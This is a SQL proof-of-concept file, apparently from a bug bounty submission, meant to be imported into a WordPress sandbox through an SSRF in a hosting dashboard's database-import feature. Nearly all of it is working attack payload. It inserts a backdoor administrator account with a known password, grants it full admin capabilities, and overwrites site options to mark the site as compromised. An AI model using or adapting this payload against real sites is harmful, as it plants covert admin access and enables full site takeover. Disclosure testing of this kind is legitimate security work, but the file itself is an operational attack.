SSRF PoC - Pantheon Bug Bounty

ssrf_poc.sql

-- SSRF PoC: Arbitrary SQL Execution via Database Import
-- BugHunter Security Assessment - Authorized Bug Bounty Testing
-- Target: Yalla Super Mall (Sandbox) - Pantheon Bugcrowd Program
-- Tester: secfathy
-- Date: 2026-04-19

-- Marker table to prove SQL execution without destructive impact
CREATE TABLE IF NOT EXISTS ssrf_poc_evidence (
  id INT AUTO_INCREMENT PRIMARY KEY,
  marker VARCHAR(255),
  details TEXT,
  created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

INSERT INTO ssrf_poc_evidence (marker, details) VALUES 
('SSRF-RCE-POC-SECFATHY-2026-04-19', 'This row was injected via SSRF in the database import feature. The attacker controlled the URL, the server fetched it, dropped the DB, and imported this SQL. This proves: SSRF to arbitrary SQL execution to full site takeover.');

-- Create a backdoor WordPress admin user
-- Password: ssrf_poc_pass (MD5 hash for simplicity since WordPress can use it)
INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name)
VALUES ('ssrf_rce_poc', MD5('ssrf_poc_pass'), 'ssrf-rce-poc', 'ssrf-rce-poc@bugbounty.test', '', '2026-04-19 00:00:00', '', 0, 'SSRF RCE PoC');

-- Grant administrator privileges
INSERT INTO wp_usermeta (user_id, meta_key, meta_value) 
SELECT ID, 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}' FROM wp_users WHERE user_login = 'ssrf_rce_poc';

INSERT INTO wp_usermeta (user_id, meta_key, meta_value)
SELECT ID, 'wp_user_level', '10' FROM wp_users WHERE user_login = 'ssrf_rce_poc';

-- Also recreate the default WordPress tables structure (minimal)
-- so the site doesn't completely break after the import replaces the DB
CREATE TABLE IF NOT EXISTS wp_options (
  option_id BIGINT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
  option_name VARCHAR(191) DEFAULT '' NOT NULL UNIQUE,
  option_value LONGTEXT NOT NULL,
  autoload VARCHAR(20) DEFAULT 'yes' NOT NULL
);

INSERT INTO wp_options (option_name, option_value) VALUES ('siteurl', 'https://dev-yalla-super-mall.pantheonsite.io');
INSERT INTO wp_options (option_name, option_value) VALUES ('home', 'https://dev-yalla-super-mall.pantheonsite.io');
INSERT INTO wp_options (option_name, option_value) VALUES ('blogname', 'SSRF PoC - Site Compromised');
INSERT INTO wp_options (option_name, option_value) VALUES ('blogdescription', 'This site was compromised via SSRF in Pantheon dashboard import feature');
INSERT INTO wp_options (option_name, option_value) VALUES ('admin_email', 'ssrf-rce-poc@bugbounty.test');
INSERT INTO wp_options (option_name, option_value) VALUES ('active_plugins', 'a:0:{}');